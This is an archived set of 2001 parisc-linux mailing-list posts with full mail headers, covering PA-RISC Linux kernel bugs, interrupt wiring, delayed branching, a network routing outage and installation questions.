	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id HAA27501
	for parisc-linux@lists.parisc-linux.org; Wed, 3 Oct 2001 07:56:05 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12441

>
> On Wed, Oct 03, 2001 at 02:15:49AM -0600, John Marvin wrote:
> > +     /* Program VIPER to interrupt on the ASP irq */
> > +     gsc_writel((1 << (31 - ASP_GSC_IRQ)),VIPER_INT_WORD);
>
> If we can program Viper (the graphics board, right?) to interrupt on any
> CPU interrupt, why not give it its own rather than make it share an IRQ
> with Asp?

No, that is a misunderstanding. Viper is the memory/bus controller.
Asp is connected to viper, i.e. Asp pulls an interrupt line and viper
writes the interrupt into the cpu eirr. There is not really a hard
wired ASP IRQ as implied in asp.c. the value "3" just happened to
be what was left by the firmware on 720/730. The 710 firmware
leaves a clean slate and unwires the Asp interrupt. This write is
required to let Asp interrupt at all. You can make Asp interrupt on
any irq. I decided to just stick with the 3, but we could change it
or dynamically allocate it.

John




From - Thu Nov 08 21:19:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Delayed branching explanation
Date: Wed, 3 Oct 2001 10:28:48 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20011003102848.C18841@megatonmonkey.net>
References: <200110031004.EAA15528@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620561 26948 80.91.229.3 (22 Nov 2014 01:42:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:41 +0000 (UTC)
To: John Marvin <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 08:28:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id F14B24881
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 08:28:47 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f93F2GG05897;
	Wed, 3 Oct 2001 11:02:17 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f93ESmb25290;
	Wed, 3 Oct 2001 10:28:48 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	John Marvin <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200110031004.EAA15528@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Wed, Oct 03, 2001 at 04:04:31AM -0600
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12442

> 
> One more step:
> 
>     pc[0] -> target2
>     pc[1] -> target2 + 4
> 
> the "cool" thing about the above sequence is that the instruction at
> target1 gets executed, and then immediately we jump somewhere else, i.e.
> we can execute one instruction somewhere and then immediately go somewhere
> else (without having a branch at target1).  If you follow this example,
> then you really understand delayed branching.
> 
> Note that the above example is the whole reason we must have a "B" bit in
> the PSW (processor status word).  The B bit is set by any taken branch,
> and is cleared by any other instruction.  The "gate" instruction, which is
> used for privilege promotion, will fault if the B bit is set when the gate
> instruction is executed.  The reason is that even though the gate
> instruction can only be located on a execute only page (i.e. you can't
> change the instruction sequence), you could use the above trick to execute
> only the gate instruction and then return to your own code with increased
> privilege if the "B" bit didn't exist.
> 
>

This is very very similar to the the Sparc.
Delayed branches are an interesting compiler optimization.

I think I see what you mean about "B" being in the PSW, though
I'm not clear on the semantics of an execute only page.

Time to hit the books again!

Thanks for the interesting explanation John!

c.





From - Thu Nov 08 21:19:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mount segfaults and stuff
Date: Wed, 03 Oct 2001 10:04:58 -0600
Lines: 54
Approved: news@gmane.org
Message-ID: <200110031604.KAA16954@puffin.external.hp.com>
References: <jurij@lokmail.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620562 26953 80.91.229.3 (22 Nov 2014 01:42:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 10:08:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0030E4848
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 10:08:28 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA16954;
	Wed, 3 Oct 2001 10:04:58 -0600
In-Reply-To: Message from Jurij Smakov <jurij@lokmail.net> 
   of "Wed, 03 Oct 2001 04:42:35 EDT." <200110030842.EAA14939@mail.lokmail.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:12443

Jurij Smakov wrote:
> Hi!
> 
> The problem is that this bug list is also rather outdated.

yeah - many of the bugs filed were placeholders for
issues we found but didn't want to track down at that time.

> There are
> two more or less recent bugs, others are more than 2 months old. Most
> kernel bugs are filed against 2.4.0 kernel. I guess, a lot of things
> changed since then. For example, mount bug, that I've mentioned before
> just disappeared, once I recompiled it from source with latest CVS gcc.

Well, sounds like that's something you could do - try to replicate bugs
and close them if they can't be replicated. I'll take another pass
at the list this week too.

> Also, bug #135 (kernel panic on 712 doing two simultaneous compiles) - 
> yesterday I've built the kernel with "make -j 2" without any problems
> on a 712/80. Is it enough to close this bug?

yes - I think so.  Getting confirmation from the submitter that the
bug is gone is good too.

>  IMHO, the right strategy
> in this situation would be to try and reproduce the bugs with latest
> toolchain and drop the bugs, which do not have a recipe to reproduce them.

Agreed.

> Anyway, what should I do with mount? Do I have to contact the package
> maintainer? I can build the debs myself, but those will be unofficial.

Preferably, if you can, find the bug and send the maintainer a patch.
Otherwise, file a bug on either bugs.debian.org or bugs.parisc-linux.org
depending on if it's reproducible on other arches or not.

> Also, last night I had some weird problems with linux/net/core/netfilter.c
> Sometimes its compilation fails, but I could not pinpoint the problem
> so far. I'll play with it, but it would be nice to know, if anyone
> else has/had any (negative) experiences with this file.

I'm having problems in general building a working kernel.
Neither my natively built 32-bit kernels for c3k nor x-compiled
64-bit kernels for A500 are booting right now...Last msg printed
to serial console is regarding setting PSW to 0 (or 1).
Just now enabled EARLY_DEBUG in pdc_cons.c.

hope this helps,
grant




From - Thu Nov 08 21:19:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCXS fixes
Date: Wed, 3 Oct 2001 18:44:10 +0200 (CEST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110031840090.4477-100000@alpha.bocc.de>
References: <200110030832.CAA10917@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620562 26958 80.91.229.3 (22 Nov 2014 01:42:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:42 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 10:48:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2598C48D4
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 10:48:31 -0600 (MDT)
Original-Received: from ppp2.scram.de (ppp2.scram.de [195.226.127.195])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f93GjsO18521;
	Wed, 3 Oct 2001 18:45:54 +0200 (CEST)
X-X-Sender: <jochen@alpha.bocc.de>
In-Reply-To: <200110030832.CAA10917@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12444

Hi John,

> However, ls still hangs randomly (actually it is not random, it depends on
> which directory the ls is done in).  It gets stuck in a ldcw loop due to
> the lock word not being 16 byte aligned.

I have the same hangs here on my 720.

And a few more random problems i noticed:

- IPv6 doesn't work yet (this is a ping from 3ffe:400:470:4::1 Linux/alpha 
to 3ffe:400:470:4::3 Linux/parisc):

kernel BUG at /usr/src/linux/include/asm/checksum.h:153!
ICMPv6 checksum failed [3ffe:0400:0470:0004:0000:0000:0000:0001 > 
ff02:0000:0000:0000:0000:0001:ff00:0003]

- zebra complains about netlink problems and loops:

2001/10/03 17:17:51 ZEBRA: netlink-cmd recvmsg overrun

Cheers,
Jochen





From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] puffin.external.hp.com,... unreachable through quest
Date: Wed, 3 Oct 2001 19:09:37 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <20011003190937.A1295@dogbert.localdomain>
References: <Pine.BSF.4.30.0109300915230.69485-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="G4iJoqBmSsgzjUCe"
X-Trace: ger.gmane.org 1416620562 26961 80.91.229.3 (22 Nov 2014 01:42:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 11:10:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7C0B48A4
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 11:10:39 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15opXX-0004hQ-00
	for parisc-linux@lists.parisc-linux.org; Wed, 03 Oct 2001 19:10:35 +0200
Original-Received: (qmail 29577 invoked from network); 3 Oct 2001 17:10:35 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 3 Oct 2001 17:10:35 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15opWb-0000Ll-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 03 Oct 2001 19:09:37 +0200
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.30.0109300915230.69485-100000@noc.zabbadoz.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15opXX-0004hQ-00*PuS5zJzyQgI* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12445

--G4iJoqBmSsgzjUCe
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

Any updates on this situation? puffin is still dead from SourceForge and
some other places I tried.

Regards,

Albert

On Sun, 30 Sep 2001, Bjoern A. Zeeb wrote:

> Hi,
>=20
> after a report on nanog I tired to help to figure out why
> puffin.external.hp.com, www.parisc-linux.org and others are not
> reachable for some people out there.
>=20
> It seems there is a problem with QUEST/HP in Atlanta or behind.
>=20
> Traces to HP seem to be prevented by filters but even ping does not
> work if I check this directly from QUEST router in Atlanta via
> looking glass ( http://stat.qwest.net/flash/lg.cfm ).
>=20
> --- trace from quest router in atlanta ---
> traceroute to puffin.external.hp.com (192.25.206.4), 30 hops max, 40 byte=
 packets
>  1  atl-edge-17.inet.qwest.net (205.171.21.190)  0.514 ms  0.475 ms 0.469=
 ms
>  2  65.112.33.30 (65.112.33.30)  1.460 ms  1.436 ms  1.425 ms
>  3  * * *
> --- ping from quest router in atlanta ---
> PING puffin.external.hp.com (192.25.206.4): 56 data bytes
> --- puffin.external.hp.com ping statistics ---
> 3 packets transmitted, 0 packets received, 100% packet loss
> --- snipp ---
>=20
> I do not directly see this problem because at the momenet I am comming
> in via uunet but two other upstreams I checked here in Germany use
> kpn/quest and thus cannot reach anything in parisc related in
> 192.25.206.0 :( (and most likely more).
>=20
> All those who use kpn/quest or have it as an upstream seem to be
> cut off from mailing lists/web/cvs ?? :((
>=20
> It seems the problem has been there since Sep 25th.
>=20
> Can anybody please try to solve the problem/get information about this
> from other side (HP internal etc. ;) because even email-contacts from
> whois do not work from what I got told :( and this seems to be one of
> the bigger problems (when taking 5 days).
>=20
> Trace back from puffin or www.parisc-linux.org to 65.112.33.30 might
> help to better localize the problem (if there are no internal filters
> in hp bbn that prevent traces)
>=20
> Thanks in advance.
>=20
> --=20
> Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
> 56 69 73 69 74				http://www.zabbadoz.net/
>=20
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

--G4iJoqBmSsgzjUCe
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7u0ZRDg+hOeRZtkMRAvwRAKCXWL+viv9NR1LNGpm+Oefvn0uyaQCfUgA4
4B7cvY8uEvvOvfZKiG0FefA=
=AiFT
-----END PGP SIGNATURE-----

--G4iJoqBmSsgzjUCe--




From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] puffin.external.hp.com,... unreachable through 
 quest
Date: Wed, 03 Oct 2001 12:27:25 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20011003182725.1901A37DBC@carmen.fc.hp.com>
References: <Pine.BSF.4.30.0109300915230.69485-100000@noc.zabbadoz.net>  
 <20011003190937.A1295@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620562 26964 80.91.229.3 (22 Nov 2014 01:42:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 12:27:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id A58B8493A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 12:27:27 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (unknown [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP
	id A1C451F9AD; Wed,  3 Oct 2001 14:25:24 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 1901A37DBC; Wed,  3 Oct 2001 12:27:25 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Albert Strasheim <fullung@ilink.nis.za> 
   of "Wed, 03 Oct 2001 19:09:37 +0200." <20011003190937.A1295@dogbert.localdomain> 
Xref: news.gmane.org gmane.linux.ports.parisc:12446

Albert Strasheim writes...

> Any updates on this situation? puffin is still dead from SourceForge and
> some other places I tried.

It appears to be a routing problem which seems to affect mostly non-US domains.
I filed a support request on Monday. They're still trying to figure out what's 
going on. I'll send mail once it's resolved.

Sorry for the outage,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marco Rodriguez <marco@kiyen.face.ubiobio.cl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Instalation
Date: Wed, 3 Oct 2001 15:56:01 -0400 (CLT)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110031551340.7062-100000@kiyen.face.ubiobio.cl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620563 26967 80.91.229.3 (22 Nov 2014 01:42:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:43 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>,
	<debian-hppa@lists.debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 13:42:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kiyen.face.ubiobio.cl (kiyen.face.ubiobio.cl [146.83.194.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CDD548E8
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 13:42:52 -0600 (MDT)
Original-Received: from localhost (marco@localhost)
	by kiyen.face.ubiobio.cl (8.11.6/8.11.6) with ESMTP id f93Ju1T07099;
	Wed, 3 Oct 2001 15:56:01 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12447

Can I install pa-risc linux on a HP D Class 9000 server with 2 pa-risc
prcesors?
Is there any one who did it?
-- 
*-------------------------*-----------------------------------------*
| Marco Rodriguez M.      |                                         |
| Ing. Civil Informatica. |   mailto:marco@kiyen.face.ubiobio.cl    |
| U. Bio Bio Conce.       |                                         |
*-------------------------*-----------------------------------------*





From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Instalation
Date: Wed, 3 Oct 2001 20:48:36 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011003204836.C11552@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.33.0110031551340.7062-100000@kiyen.face.ubiobio.cl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620563 26968 80.91.229.3 (22 Nov 2014 01:42:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Marco Rodriguez <marco@kiyen.face.ubiobio.cl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 13:48:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F8D34869
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 13:48:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15os0S-0005zb-00; Wed, 03 Oct 2001 20:48:36 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0110031551340.7062-100000@kiyen.face.ubiobio.cl>; from marco@kiyen.face.ubiobio.cl on Wed, Oct 03, 2001 at 03:56:01PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12448

On Wed, Oct 03, 2001 at 03:56:01PM -0400, Marco Rodriguez wrote:
> Can I install pa-risc linux on a HP D Class 9000 server with 2 pa-risc
> prcesors?
> Is there any one who did it?

Several people have this working with one processor.  SMP may work.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Higson <richard.higson@gt.owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] puffin.external.hp.com,... unreachable through quest
Date: Thu, 4 Oct 2001 00:02:46 +0200
Organization: is NOT one of my stronger abilities.
Lines: 28
Approved: news@gmane.org
Message-ID: <20011004000246.B9900@glurp.gt.owl.de>
References: <Pine.BSF.4.30.0109300915230.69485-100000@noc.zabbadoz.net> <20011003190937.A1295@dogbert.localdomain> <20011003182725.1901A37DBC@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620563 26972 80.91.229.3 (22 Nov 2014 01:42:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 16:02:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from noose.gt.owl.de (noose.gt.owl.de [62.52.19.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB9DD4917
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 16:02:58 -0600 (MDT)
Original-Received: by noose.gt.owl.de (Postfix, from userid 10)
	id 3253980B; Thu,  4 Oct 2001 00:02:57 +0200 (CEST)
Original-Received: by glurp.gt.owl.de (Postfix, from userid 1000)
	id A3E8ABDC5; Thu,  4 Oct 2001 00:02:46 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20011003182725.1901A37DBC@carmen.fc.hp.com>
User-Agent: Mutt/1.3.20i
Original-Sender: higson@glurp.gt.owl.de
Xref: news.gmane.org gmane.linux.ports.parisc:12449

On Wed, Oct 03, 2001 at 12:27:25PM -0600, Matt Taggart wrote:
> To: Albert Strasheim <fullung@ilink.nis.za>
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] puffin.external.hp.com,... unreachable through 
>  quest
> Date: Wed, 03 Oct 2001 12:27:25 -0600
> From: Matt Taggart <taggart@carmen.fc.hp.com>
> 
> Albert Strasheim writes...
> > Any updates on this situation? puffin is still dead from SourceForge and
> > some other places I tried.
> It appears to be a routing problem which seems to affect mostly non-US domains.
> I filed a support request on Monday. They're still trying to figure out what's 
> going on. I'll send mail once it's resolved.
> Sorry for the outage,

puffin.external.hp.com is reachable from source.rfc822.org in Germany, so
I've just refreshed and verified the mirror at (your choice of http, ftp, rsync)
//source.rfc822.org/pub/mirror/puffin.external.hp.com/pub/parisc/

Richard - aka higson@rfc822.org
-- 
Unix:        Your gun, Your bullet, Your foot, Your choice.
M$-CE/ME/NT: Same as Unix, BUT: No choice, and We Aim Higher.
Have a nice day ;-) Richard Higson mailto:richard.higson@gt.owl.de




From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mount segfaults and stuff
Date: Thu, 04 Oct 2001 05:25:52 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <200110040925.FAA28389@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620564 26975 80.91.229.3 (22 Nov 2014 01:42:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 03:26:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C8AA4846
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 03:26:10 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id FAA28389
	for <parisc-linux@lists.parisc-linux.org>; Thu, 4 Oct 2001 05:25:52 -0400
Content-ID: <28384.1002187552.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12450

Hi!

> Well, sounds like that's something you could do - try to replicate bugs
> and close them if they can't be replicated. I'll take another pass
> at the list this week too.

Ok, let's do that.

> Preferably, if you can, find the bug and send the maintainer a patch.
> Otherwise, file a bug on either bugs.debian.org or bugs.parisc-linux.org
> depending on if it's reproducible on other arches or not.

It turned out, that there is already newer hppa deb available on the
mirrors. Once I've installed it, the problem was gone. No worries :-).

Cheers,

Jurij.







From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sti broken in pa32 on B180
Date: Thu, 04 Oct 2001 12:24:56 +0200 (CEST)
Lines: 254
Approved: news@gmane.org
Message-ID: <1002191096.3bbc38f8c42ed@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620564 26979 80.91.229.3 (22 Nov 2014 01:42:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:44 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 04:24:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF4A0486F
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 04:24:58 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15p5gW-0006re-00; Thu, 04 Oct 2001 12:24:56 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12451

Hi all,

I just come back to my hppa boxes (a 712/80 and a b180) and just co the last cvs 
kernel (-pa32).
I do usual make oldconfig; make dep ; make vmlinux (on the 712).

I first rebout the model 712 with this kernel.
Everything seems to work fine:
	ksoftirqd_CPU0 does not heat any more 99% of cpu,
	Xfree(4.1.0-2) comes back with its classical grey colors (not more 
blue),
	I try also to disconect-reconect kbd and after a first test the kdb was 
not re-init (receive code (7f) ?)
	but for following test I was not able to reproduce the problem and seems 
to works also?
Nice and Great job.

Then I test this kernel on the B180 model.
Too bad: the sti console stop display at "Set default PSW W bit to 0" (an old 
well know problem) but the server start-up well.
(The last kernel I used successfully with sti console was the 2.4.9-pa14 with 
just a small adaptation of the Thomas Marteau kdb patch at the beginning of 
Sept)
(So I could not test disconnect-reconnect kbd)
Is Xfree works now on this workstation?

Thanks in advance for advice,
	Joel

PS: here is the list of packages installed on those servers. Should I have 
absolutely upgrade some once?

